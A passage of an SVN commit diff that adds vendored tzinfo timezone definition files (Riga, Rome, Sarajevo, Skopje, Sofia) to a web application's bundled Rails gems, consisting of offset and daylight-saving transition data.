+          tz.transition 2050, 3, :o3, 59277421, 24
+          tz.transition 2050, 10, :o2, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Riga.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Riga.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Riga.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,176 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Riga
+        include TimezoneDefinition
+        
+        timezone 'Europe/Riga' do |tz|
+          tz.offset :o0, 5784, 0, :LMT
+          tz.offset :o1, 5784, 0, :RMT
+          tz.offset :o2, 5784, 3600, :LST
+          tz.offset :o3, 7200, 0, :EET
+          tz.offset :o4, 10800, 0, :MSK
+          tz.offset :o5, 3600, 3600, :CEST
+          tz.offset :o6, 3600, 0, :CET
+          tz.offset :o7, 10800, 3600, :MSD
+          tz.offset :o8, 7200, 3600, :EEST
+          
+          tz.transition 1879, 12, :o1, 8667775559, 3600
+          tz.transition 1918, 4, :o2, 8718114659, 3600
+          tz.transition 1918, 9, :o1, 8718669059, 3600
+          tz.transition 1919, 4, :o2, 8719378259, 3600
+          tz.transition 1919, 5, :o1, 8719561859, 3600
+          tz.transition 1926, 5, :o3, 8728727159, 3600
+          tz.transition 1940, 8, :o4, 29158157, 12
+          tz.transition 1941, 6, :o5, 19441411, 8
+          tz.transition 1942, 11, :o6, 58335973, 24
+          tz.transition 1943, 3, :o5, 58339501, 24
+          tz.transition 1943, 10, :o6, 58344037, 24
+          tz.transition 1944, 4, :o5, 58348405, 24
+          tz.transition 1944, 10, :o6, 58352773, 24
+          tz.transition 1944, 10, :o4, 58353035, 24
+          tz.transition 1981, 3, :o7, 354920400
+          tz.transition 1981, 9, :o4, 370728000
+          tz.transition 1982, 3, :o7, 386456400
+          tz.transition 1982, 9, :o4, 402264000
+          tz.transition 1983, 3, :o7, 417992400
+          tz.transition 1983, 9, :o4, 433800000
+          tz.transition 1984, 3, :o7, 449614800
+          tz.transition 1984, 9, :o4, 465346800
+          tz.transition 1985, 3, :o7, 481071600
+          tz.transition 1985, 9, :o4, 496796400
+          tz.transition 1986, 3, :o7, 512521200
+          tz.transition 1986, 9, :o4, 528246000
+          tz.transition 1987, 3, :o7, 543970800
+          tz.transition 1987, 9, :o4, 559695600
+          tz.transition 1988, 3, :o7, 575420400
+          tz.transition 1988, 9, :o4, 591145200
+          tz.transition 1989, 3, :o8, 606870000
+          tz.transition 1989, 9, :o3, 622598400
+          tz.transition 1990, 3, :o8, 638323200
+          tz.transition 1990, 9, :o3, 654652800
+          tz.transition 1991, 3, :o8, 670377600
+          tz.transition 1991, 9, :o3, 686102400
+          tz.transition 1992, 3, :o8, 701827200
+          tz.transition 1992, 9, :o3, 717552000
+          tz.transition 1993, 3, :o8, 733276800
+          tz.transition 1993, 9, :o3, 749001600
+          tz.transition 1994, 3, :o8, 764726400
+          tz.transition 1994, 9, :o3, 780451200
+          tz.transition 1995, 3, :o8, 796176000
+          tz.transition 1995, 9, :o3, 811900800
+          tz.transition 1996, 3, :o8, 828230400
+          tz.transition 1996, 9, :o3, 843955200
+          tz.transition 1997, 3, :o8, 859683600
+          tz.transition 1997, 10, :o3, 877827600
+          tz.transition 1998, 3, :o8, 891133200
+          tz.transition 1998, 10, :o3, 909277200
+          tz.transition 1999, 3, :o8, 922582800
+          tz.transition 1999, 10, :o3, 941331600
+          tz.transition 2001, 3, :o8, 985482000
+          tz.transition 2001, 10, :o3, 1004230800
+          tz.transition 2002, 3, :o8, 1017536400
+          tz.transition 2002, 10, :o3, 1035680400
+          tz.transition 2003, 3, :o8, 1048986000
+          tz.transition 2003, 10, :o3, 1067130000
+          tz.transition 2004, 3, :o8, 1080435600
+          tz.transition 2004, 10, :o3, 1099184400
+          tz.transition 2005, 3, :o8, 1111885200
+          tz.transition 2005, 10, :o3, 1130634000
+          tz.transition 2006, 3, :o8, 1143334800
+          tz.transition 2006, 10, :o3, 1162083600
+          tz.transition 2007, 3, :o8, 1174784400
+          tz.transition 2007, 10, :o3, 1193533200
+          tz.transition 2008, 3, :o8, 1206838800
+          tz.transition 2008, 10, :o3, 1224982800
+          tz.transition 2009, 3, :o8, 1238288400
+          tz.transition 2009, 10, :o3, 1256432400
+          tz.transition 2010, 3, :o8, 1269738000
+          tz.transition 2010, 10, :o3, 1288486800
+          tz.transition 2011, 3, :o8, 1301187600
+          tz.transition 2011, 10, :o3, 1319936400
+          tz.transition 2012, 3, :o8, 1332637200
+          tz.transition 2012, 10, :o3, 1351386000
+          tz.transition 2013, 3, :o8, 1364691600
+          tz.transition 2013, 10, :o3, 1382835600
+          tz.transition 2014, 3, :o8, 1396141200
+          tz.transition 2014, 10, :o3, 1414285200
+          tz.transition 2015, 3, :o8, 1427590800
+          tz.transition 2015, 10, :o3, 1445734800
+          tz.transition 2016, 3, :o8, 1459040400
+          tz.transition 2016, 10, :o3, 1477789200
+          tz.transition 2017, 3, :o8, 1490490000
+          tz.transition 2017, 10, :o3, 1509238800
+          tz.transition 2018, 3, :o8, 1521939600
+          tz.transition 2018, 10, :o3, 1540688400
+          tz.transition 2019, 3, :o8, 1553994000
+          tz.transition 2019, 10, :o3, 1572138000
+          tz.transition 2020, 3, :o8, 1585443600
+          tz.transition 2020, 10, :o3, 1603587600
+          tz.transition 2021, 3, :o8, 1616893200
+          tz.transition 2021, 10, :o3, 1635642000
+          tz.transition 2022, 3, :o8, 1648342800
+          tz.transition 2022, 10, :o3, 1667091600
+          tz.transition 2023, 3, :o8, 1679792400
+          tz.transition 2023, 10, :o3, 1698541200
+          tz.transition 2024, 3, :o8, 1711846800
+          tz.transition 2024, 10, :o3, 1729990800
+          tz.transition 2025, 3, :o8, 1743296400
+          tz.transition 2025, 10, :o3, 1761440400
+          tz.transition 2026, 3, :o8, 1774746000
+          tz.transition 2026, 10, :o3, 1792890000
+          tz.transition 2027, 3, :o8, 1806195600
+          tz.transition 2027, 10, :o3, 1824944400
+          tz.transition 2028, 3, :o8, 1837645200
+          tz.transition 2028, 10, :o3, 1856394000
+          tz.transition 2029, 3, :o8, 1869094800
+          tz.transition 2029, 10, :o3, 1887843600
+          tz.transition 2030, 3, :o8, 1901149200
+          tz.transition 2030, 10, :o3, 1919293200
+          tz.transition 2031, 3, :o8, 1932598800
+          tz.transition 2031, 10, :o3, 1950742800
+          tz.transition 2032, 3, :o8, 1964048400
+          tz.transition 2032, 10, :o3, 1982797200
+          tz.transition 2033, 3, :o8, 1995498000
+          tz.transition 2033, 10, :o3, 2014246800
+          tz.transition 2034, 3, :o8, 2026947600
+          tz.transition 2034, 10, :o3, 2045696400
+          tz.transition 2035, 3, :o8, 2058397200
+          tz.transition 2035, 10, :o3, 2077146000
+          tz.transition 2036, 3, :o8, 2090451600
+          tz.transition 2036, 10, :o3, 2108595600
+          tz.transition 2037, 3, :o8, 2121901200
+          tz.transition 2037, 10, :o3, 2140045200
+          tz.transition 2038, 3, :o8, 59172253, 24
+          tz.transition 2038, 10, :o3, 59177461, 24
+          tz.transition 2039, 3, :o8, 59180989, 24
+          tz.transition 2039, 10, :o3, 59186197, 24
+          tz.transition 2040, 3, :o8, 59189725, 24
+          tz.transition 2040, 10, :o3, 59194933, 24
+          tz.transition 2041, 3, :o8, 59198629, 24
+          tz.transition 2041, 10, :o3, 59203669, 24
+          tz.transition 2042, 3, :o8, 59207365, 24
+          tz.transition 2042, 10, :o3, 59212405, 24
+          tz.transition 2043, 3, :o8, 59216101, 24
+          tz.transition 2043, 10, :o3, 59221141, 24
+          tz.transition 2044, 3, :o8, 59224837, 24
+          tz.transition 2044, 10, :o3, 59230045, 24
+          tz.transition 2045, 3, :o8, 59233573, 24
+          tz.transition 2045, 10, :o3, 59238781, 24
+          tz.transition 2046, 3, :o8, 59242309, 24
+          tz.transition 2046, 10, :o3, 59247517, 24
+          tz.transition 2047, 3, :o8, 59251213, 24
+          tz.transition 2047, 10, :o3, 59256253, 24
+          tz.transition 2048, 3, :o8, 59259949, 24
+          tz.transition 2048, 10, :o3, 59264989, 24
+          tz.transition 2049, 3, :o8, 59268685, 24
+          tz.transition 2049, 10, :o3, 59273893, 24
+          tz.transition 2050, 3, :o8, 59277421, 24
+          tz.transition 2050, 10, :o3, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Rome.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Rome.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Rome.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,215 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Rome
+        include TimezoneDefinition
+        
+        timezone 'Europe/Rome' do |tz|
+          tz.offset :o0, 2996, 0, :LMT
+          tz.offset :o1, 2996, 0, :RMT
+          tz.offset :o2, 3600, 0, :CET
+          tz.offset :o3, 3600, 3600, :CEST
+          
+          tz.transition 1866, 9, :o1, 51901915651, 21600
+          tz.transition 1893, 10, :o2, 52115798851, 21600
+          tz.transition 1916, 6, :o3, 58104419, 24
+          tz.transition 1916, 9, :o2, 58107299, 24
+          tz.transition 1917, 3, :o3, 58111667, 24
+          tz.transition 1917, 9, :o2, 58116035, 24
+          tz.transition 1918, 3, :o3, 58119899, 24
+          tz.transition 1918, 10, :o2, 58124939, 24
+          tz.transition 1919, 3, :o3, 58128467, 24
+          tz.transition 1919, 10, :o2, 58133675, 24
+          tz.transition 1920, 3, :o3, 58137707, 24
+          tz.transition 1920, 9, :o2, 58142075, 24
+          tz.transition 1940, 6, :o3, 58315091, 24
+          tz.transition 1942, 11, :o2, 58335973, 24
+          tz.transition 1943, 3, :o3, 58339501, 24
+          tz.transition 1943, 10, :o2, 58344037, 24
+          tz.transition 1944, 4, :o3, 58348405, 24
+          tz.transition 1944, 9, :o2, 58352411, 24
+          tz.transition 1945, 4, :o3, 58357141, 24
+          tz.transition 1945, 9, :o2, 58361123, 24
+          tz.transition 1946, 3, :o3, 58365517, 24
+          tz.transition 1946, 10, :o2, 58370389, 24
+          tz.transition 1947, 3, :o3, 58374251, 24
+          tz.transition 1947, 10, :o2, 58379123, 24
+          tz.transition 1948, 2, :o3, 58382653, 24
+          tz.transition 1948, 10, :o2, 58387861, 24
+          tz.transition 1966, 5, :o3, 58542419, 24
+          tz.transition 1966, 9, :o2, 29272721, 12
+          tz.transition 1967, 5, :o3, 58551323, 24
+          tz.transition 1967, 9, :o2, 29277089, 12
+          tz.transition 1968, 5, :o3, 58560059, 24
+          tz.transition 1968, 9, :o2, 29281457, 12
+          tz.transition 1969, 5, :o3, 58568963, 24
+          tz.transition 1969, 9, :o2, 29285909, 12
+          tz.transition 1970, 5, :o3, 12956400
+          tz.transition 1970, 9, :o2, 23234400
+          tz.transition 1971, 5, :o3, 43801200
+          tz.transition 1971, 9, :o2, 54687600
+          tz.transition 1972, 5, :o3, 75855600
+          tz.transition 1972, 9, :o2, 86738400
+          tz.transition 1973, 6, :o3, 107910000
+          tz.transition 1973, 9, :o2, 118188000
+          tz.transition 1974, 5, :o3, 138754800
+          tz.transition 1974, 9, :o2, 149637600
+          tz.transition 1975, 5, :o3, 170809200
+          tz.transition 1975, 9, :o2, 181090800
+          tz.transition 1976, 5, :o3, 202258800
+          tz.transition 1976, 9, :o2, 212540400
+          tz.transition 1977, 5, :o3, 233103600
+          tz.transition 1977, 9, :o2, 243990000
+          tz.transition 1978, 5, :o3, 265158000
+          tz.transition 1978, 9, :o2, 276044400
+          tz.transition 1979, 5, :o3, 296607600
+          tz.transition 1979, 9, :o2, 307494000
+          tz.transition 1980, 4, :o3, 323830800
+          tz.transition 1980, 9, :o2, 338950800
+          tz.transition 1981, 3, :o3, 354675600
+          tz.transition 1981, 9, :o2, 370400400
+          tz.transition 1982, 3, :o3, 386125200
+          tz.transition 1982, 9, :o2, 401850000
+          tz.transition 1983, 3, :o3, 417574800
+          tz.transition 1983, 9, :o2, 433299600
+          tz.transition 1984, 3, :o3, 449024400
+          tz.transition 1984, 9, :o2, 465354000
+          tz.transition 1985, 3, :o3, 481078800
+          tz.transition 1985, 9, :o2, 496803600
+          tz.transition 1986, 3, :o3, 512528400
+          tz.transition 1986, 9, :o2, 528253200
+          tz.transition 1987, 3, :o3, 543978000
+          tz.transition 1987, 9, :o2, 559702800
+          tz.transition 1988, 3, :o3, 575427600
+          tz.transition 1988, 9, :o2, 591152400
+          tz.transition 1989, 3, :o3, 606877200
+          tz.transition 1989, 9, :o2, 622602000
+          tz.transition 1990, 3, :o3, 638326800
+          tz.transition 1990, 9, :o2, 654656400
+          tz.transition 1991, 3, :o3, 670381200
+          tz.transition 1991, 9, :o2, 686106000
+          tz.transition 1992, 3, :o3, 701830800
+          tz.transition 1992, 9, :o2, 717555600
+          tz.transition 1993, 3, :o3, 733280400
+          tz.transition 1993, 9, :o2, 749005200
+          tz.transition 1994, 3, :o3, 764730000
+          tz.transition 1994, 9, :o2, 780454800
+          tz.transition 1995, 3, :o3, 796179600
+          tz.transition 1995, 9, :o2, 811904400
+          tz.transition 1996, 3, :o3, 828234000
+          tz.transition 1996, 10, :o2, 846378000
+          tz.transition 1997, 3, :o3, 859683600
+          tz.transition 1997, 10, :o2, 877827600
+          tz.transition 1998, 3, :o3, 891133200
+          tz.transition 1998, 10, :o2, 909277200
+          tz.transition 1999, 3, :o3, 922582800
+          tz.transition 1999, 10, :o2, 941331600
+          tz.transition 2000, 3, :o3, 954032400
+          tz.transition 2000, 10, :o2, 972781200
+          tz.transition 2001, 3, :o3, 985482000
+          tz.transition 2001, 10, :o2, 1004230800
+          tz.transition 2002, 3, :o3, 1017536400
+          tz.transition 2002, 10, :o2, 1035680400
+          tz.transition 2003, 3, :o3, 1048986000
+          tz.transition 2003, 10, :o2, 1067130000
+          tz.transition 2004, 3, :o3, 1080435600
+          tz.transition 2004, 10, :o2, 1099184400
+          tz.transition 2005, 3, :o3, 1111885200
+          tz.transition 2005, 10, :o2, 1130634000
+          tz.transition 2006, 3, :o3, 1143334800
+          tz.transition 2006, 10, :o2, 1162083600
+          tz.transition 2007, 3, :o3, 1174784400
+          tz.transition 2007, 10, :o2, 1193533200
+          tz.transition 2008, 3, :o3, 1206838800
+          tz.transition 2008, 10, :o2, 1224982800
+          tz.transition 2009, 3, :o3, 1238288400
+          tz.transition 2009, 10, :o2, 1256432400
+          tz.transition 2010, 3, :o3, 1269738000
+          tz.transition 2010, 10, :o2, 1288486800
+          tz.transition 2011, 3, :o3, 1301187600
+          tz.transition 2011, 10, :o2, 1319936400
+          tz.transition 2012, 3, :o3, 1332637200
+          tz.transition 2012, 10, :o2, 1351386000
+          tz.transition 2013, 3, :o3, 1364691600
+          tz.transition 2013, 10, :o2, 1382835600
+          tz.transition 2014, 3, :o3, 1396141200
+          tz.transition 2014, 10, :o2, 1414285200
+          tz.transition 2015, 3, :o3, 1427590800
+          tz.transition 2015, 10, :o2, 1445734800
+          tz.transition 2016, 3, :o3, 1459040400
+          tz.transition 2016, 10, :o2, 1477789200
+          tz.transition 2017, 3, :o3, 1490490000
+          tz.transition 2017, 10, :o2, 1509238800
+          tz.transition 2018, 3, :o3, 1521939600
+          tz.transition 2018, 10, :o2, 1540688400
+          tz.transition 2019, 3, :o3, 1553994000
+          tz.transition 2019, 10, :o2, 1572138000
+          tz.transition 2020, 3, :o3, 1585443600
+          tz.transition 2020, 10, :o2, 1603587600
+          tz.transition 2021, 3, :o3, 1616893200
+          tz.transition 2021, 10, :o2, 1635642000
+          tz.transition 2022, 3, :o3, 1648342800
+          tz.transition 2022, 10, :o2, 1667091600
+          tz.transition 2023, 3, :o3, 1679792400
+          tz.transition 2023, 10, :o2, 1698541200
+          tz.transition 2024, 3, :o3, 1711846800
+          tz.transition 2024, 10, :o2, 1729990800
+          tz.transition 2025, 3, :o3, 1743296400
+          tz.transition 2025, 10, :o2, 1761440400
+          tz.transition 2026, 3, :o3, 1774746000
+          tz.transition 2026, 10, :o2, 1792890000
+          tz.transition 2027, 3, :o3, 1806195600
+          tz.transition 2027, 10, :o2, 1824944400
+          tz.transition 2028, 3, :o3, 1837645200
+          tz.transition 2028, 10, :o2, 1856394000
+          tz.transition 2029, 3, :o3, 1869094800
+          tz.transition 2029, 10, :o2, 1887843600
+          tz.transition 2030, 3, :o3, 1901149200
+          tz.transition 2030, 10, :o2, 1919293200
+          tz.transition 2031, 3, :o3, 1932598800
+          tz.transition 2031, 10, :o2, 1950742800
+          tz.transition 2032, 3, :o3, 1964048400
+          tz.transition 2032, 10, :o2, 1982797200
+          tz.transition 2033, 3, :o3, 1995498000
+          tz.transition 2033, 10, :o2, 2014246800
+          tz.transition 2034, 3, :o3, 2026947600
+          tz.transition 2034, 10, :o2, 2045696400
+          tz.transition 2035, 3, :o3, 2058397200
+          tz.transition 2035, 10, :o2, 2077146000
+          tz.transition 2036, 3, :o3, 2090451600
+          tz.transition 2036, 10, :o2, 2108595600
+          tz.transition 2037, 3, :o3, 2121901200
+          tz.transition 2037, 10, :o2, 2140045200
+          tz.transition 2038, 3, :o3, 59172253, 24
+          tz.transition 2038, 10, :o2, 59177461, 24
+          tz.transition 2039, 3, :o3, 59180989, 24
+          tz.transition 2039, 10, :o2, 59186197, 24
+          tz.transition 2040, 3, :o3, 59189725, 24
+          tz.transition 2040, 10, :o2, 59194933, 24
+          tz.transition 2041, 3, :o3, 59198629, 24
+          tz.transition 2041, 10, :o2, 59203669, 24
+          tz.transition 2042, 3, :o3, 59207365, 24
+          tz.transition 2042, 10, :o2, 59212405, 24
+          tz.transition 2043, 3, :o3, 59216101, 24
+          tz.transition 2043, 10, :o2, 59221141, 24
+          tz.transition 2044, 3, :o3, 59224837, 24
+          tz.transition 2044, 10, :o2, 59230045, 24
+          tz.transition 2045, 3, :o3, 59233573, 24
+          tz.transition 2045, 10, :o2, 59238781, 24
+          tz.transition 2046, 3, :o3, 59242309, 24
+          tz.transition 2046, 10, :o2, 59247517, 24
+          tz.transition 2047, 3, :o3, 59251213, 24
+          tz.transition 2047, 10, :o2, 59256253, 24
+          tz.transition 2048, 3, :o3, 59259949, 24
+          tz.transition 2048, 10, :o2, 59264989, 24
+          tz.transition 2049, 3, :o3, 59268685, 24
+          tz.transition 2049, 10, :o2, 59273893, 24
+          tz.transition 2050, 3, :o3, 59277421, 24
+          tz.transition 2050, 10, :o2, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sarajevo.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sarajevo.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sarajevo.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Sarajevo
+        include TimezoneDefinition
+        
+        linked_timezone 'Europe/Sarajevo', 'Europe/Belgrade'
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Skopje.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Skopje.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Skopje.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,13 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Skopje
+        include TimezoneDefinition
+        
+        linked_timezone 'Europe/Skopje', 'Europe/Belgrade'
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sofia.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sofia.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Sofia.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,173 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module Europe
+      module Sofia
+        include TimezoneDefinition
+        
+        timezone 'Europe/Sofia' do |tz|
+          tz.offset :o0, 5596, 0, :LMT
+          tz.offset :o1, 7016, 0, :IMT
+          tz.offset :o2, 7200, 0, :EET
+          tz.offset :o3, 3600, 0, :CET
+          tz.offset :o4, 3600, 3600, :CEST
+          tz.offset :o5, 7200, 3600, :EEST
+          
+          tz.transition 1879, 12, :o1, 52006653401, 21600
+          tz.transition 1894, 11, :o2, 26062154123, 10800
+          tz.transition 1942, 11, :o3, 58335973, 24
+          tz.transition 1943, 3, :o4, 58339501, 24
+          tz.transition 1943, 10, :o3, 58344037, 24
+          tz.transition 1944, 4, :o4, 58348405, 24
+          tz.transition 1944, 10, :o3, 58352773, 24
+          tz.transition 1945, 4, :o2, 29178571, 12
+          tz.transition 1979, 3, :o5, 291762000
+          tz.transition 1979, 9, :o2, 307576800
+          tz.transition 1980, 4, :o5, 323816400
+          tz.transition 1980, 9, :o2, 339026400
+          tz.transition 1981, 4, :o5, 355266000
+          tz.transition 1981, 9, :o2, 370393200
+          tz.transition 1982, 4, :o5, 386715600
+          tz.transition 1982, 9, :o2, 401846400
+          tz.transition 1983, 3, :o5, 417571200
+          tz.transition 1983, 9, :o2, 433296000
+          tz.transition 1984, 3, :o5, 449020800
+          tz.transition 1984, 9, :o2, 465350400
+          tz.transition 1985, 3, :o5, 481075200
+          tz.transition 1985, 9, :o2, 496800000
+          tz.transition 1986, 3, :o5, 512524800
+          tz.transition 1986, 9, :o2, 528249600
+          tz.transition 1987, 3, :o5, 543974400
+          tz.transition 1987, 9, :o2, 559699200
+          tz.transition 1988, 3, :o5, 575424000
+          tz.transition 1988, 9, :o2, 591148800
+          tz.transition 1989, 3, :o5, 606873600
+          tz.transition 1989, 9, :o2, 622598400
+          tz.transition 1990, 3, :o5, 638323200
+          tz.transition 1990, 9, :o2, 654652800
+          tz.transition 1991, 3, :o5, 670370400
+          tz.transition 1991, 9, :o2, 686091600
+          tz.transition 1992, 3, :o5, 701820000
+          tz.transition 1992, 9, :o2, 717541200
+          tz.transition 1993, 3, :o5, 733269600
+          tz.transition 1993, 9, :o2, 748990800
+          tz.transition 1994, 3, :o5, 764719200
+          tz.transition 1994, 9, :o2, 780440400
+          tz.transition 1995, 3, :o5, 796168800
+          tz.transition 1995, 9, :o2, 811890000
+          tz.transition 1996, 3, :o5, 828223200
+          tz.transition 1996, 10, :o2, 846363600
+          tz.transition 1997, 3, :o5, 859683600
+          tz.transition 1997, 10, :o2, 877827600
+          tz.transition 1998, 3, :o5, 891133200
+          tz.transition 1998, 10, :o2, 909277200
+          tz.transition 1999, 3, :o5, 922582800
+          tz.transition 1999, 10, :o2, 941331600
+          tz.transition 2000, 3, :o5, 954032400
+          tz.transition 2000, 10, :o2, 972781200
+          tz.transition 2001, 3, :o5, 985482000
+          tz.transition 2001, 10, :o2, 1004230800
+          tz.transition 2002, 3, :o5, 1017536400
+          tz.transition 2002, 10, :o2, 1035680400
+          tz.transition 2003, 3, :o5, 1048986000
+          tz.transition 2003, 10, :o2, 1067130000
+          tz.transition 2004, 3, :o5, 1080435600
+          tz.transition 2004, 10, :o2, 1099184400
+          tz.transition 2005, 3, :o5, 1111885200
+          tz.transition 2005, 10, :o2, 1130634000
+          tz.transition 2006, 3, :o5, 1143334800
+          tz.transition 2006, 10, :o2, 1162083600
+          tz.transition 2007, 3, :o5, 1174784400
+          tz.transition 2007, 10, :o2, 1193533200
+          tz.transition 2008, 3, :o5, 1206838800
+          tz.transition 2008, 10, :o2, 1224982800
+          tz.transition 2009, 3, :o5, 1238288400
+          tz.transition 2009, 10, :o2, 1256432400
+          tz.transition 2010, 3, :o5, 1269738000
+          tz.transition 2010, 10, :o2, 1288486800
+          tz.transition 2011, 3, :o5, 1301187600
+          tz.transition 2011, 10, :o2, 1319936400
+          tz.transition 2012, 3, :o5, 1332637200
+          tz.transition 2012, 10, :o2, 1351386000
+          tz.transition 2013, 3, :o5, 1364691600
+          tz.transition 2013, 10, :o2, 1382835600
+          tz.transition 2014, 3, :o5, 1396141200
+          tz.transition 2014, 10, :o2, 1414285200
+          tz.transition 2015, 3, :o5, 1427590800
+          tz.transition 2015, 10, :o2, 1445734800
+          tz.transition 2016, 3, :o5, 1459040400
+          tz.transition 2016, 10, :o2, 1477789200
+          tz.transition 2017, 3, :o5, 1490490000
+          tz.transition 2017, 10, :o2, 1509238800
+          tz.transition 2018, 3, :o5, 1521939600
+          tz.transition 2018, 10, :o2, 1540688400
+          tz.transition 2019, 3, :o5, 1553994000
+          tz.transition 2019, 10, :o2, 1572138000
+          tz.transition 2020, 3, :o5, 1585443600
+          tz.transition 2020, 10, :o2, 1603587600
+          tz.transition 2021, 3, :o5, 1616893200
+          tz.transition 2021, 10, :o2, 1635642000
+          tz.transition 2022, 3, :o5, 1648342800
+          tz.transition 2022, 10, :o2, 1667091600
+          tz.transition 2023, 3, :o5, 1679792400
+          tz.transition 2023, 10, :o2, 1698541200
+          tz.transition 2024, 3, :o5, 1711846800
+          tz.transition 2024, 10, :o2, 1729990800
+          tz.transition 2025, 3, :o5, 1743296400
+          tz.transition 2025, 10, :o2, 1761440400
+          tz.transition 2026, 3, :o5, 1774746000
+          tz.transition 2026, 10, :o2, 1792890000
+          tz.transition 2027, 3, :o5, 1806195600
+          tz.transition 2027, 10, :o2, 1824944400
+          tz.transition 2028, 3, :o5, 1837645200
+          tz.transition 2028, 10, :o2, 1856394000
+          tz.transition 2029, 3, :o5, 1869094800
+          tz.transition 2029, 10, :o2, 1887843600
+          tz.transition 2030, 3, :o5, 1901149200
+          tz.transition 2030, 10, :o2, 1919293200
+          tz.transition 2031, 3, :o5, 1932598800
+          tz.transition 2031, 10, :o2, 1950742800
+          tz.transition 2032, 3, :o5, 1964048400
+          tz.transition 2032, 10, :o2, 1982797200
+          tz.transition 2033, 3, :o5, 1995498000
+          tz.transition 2033, 10, :o2, 2014246800
+          tz.transition 2034, 3, :o5, 2026947600
+          tz.transition 2034, 10, :o2, 2045696400
+          tz.transition 2035, 3, :o5, 2058397200
+          tz.transition 2035, 10, :o2, 2077146000
+          tz.transition 2036, 3, :o5, 2090451600
+          tz.transition 2036, 10, :o2, 2108595600
+          tz.transition 2037, 3, :o5, 2121901200
+          tz.transition 2037, 10, :o2, 2140045200
+          tz.transition 2038, 3, :o5, 59172253, 24
+          tz.transition 2038, 10, :o2, 59177461, 24
+          tz.transition 2039, 3, :o5, 59180989, 24
+          tz.transition 2039, 10, :o2, 59186197, 24
+          tz.transition 2040, 3, :o5, 59189725, 24
+          tz.transition 2040, 10, :o2, 59194933, 24
+          tz.transition 2041, 3, :o5, 59198629, 24
+          tz.transition 2041, 10, :o2, 59203669, 24
+          tz.transition 2042, 3, :o5, 59207365, 24
+          tz.transition 2042, 10, :o2, 59212405, 24
+          tz.transition 2043, 3, :o5, 59216101, 24
+          tz.transition 2043, 10, :o2, 59221141, 24
+          tz.transition 2044, 3, :o5, 59224837, 24
+          tz.transition 2044, 10, :o2, 59230045, 24
+          tz.transition 2045, 3, :o5, 59233573, 24
+          tz.transition 2045, 10, :o2, 59238781, 24
+          tz.transition 2046, 3, :o5, 59242309, 24
+          tz.transition 2046, 10, :o2, 59247517, 24
+          tz.transition 2047, 3, :o5, 59251213, 24
+          tz.transition 2047, 10, :o2, 59256253, 24
+          tz.transition 2048, 3, :o5, 59259949, 24
+          tz.transition 2048, 10, :o2, 59264989, 24
+          tz.transition 2049, 3, :o5, 59268685, 24
+          tz.transition 2049, 10, :o2, 59273893, 24
+          tz.transition 2050, 3, :o5, 59277421, 24
+          tz.transition 2050, 10, :o2, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/Europe/Stockholm.rb
===================================================================
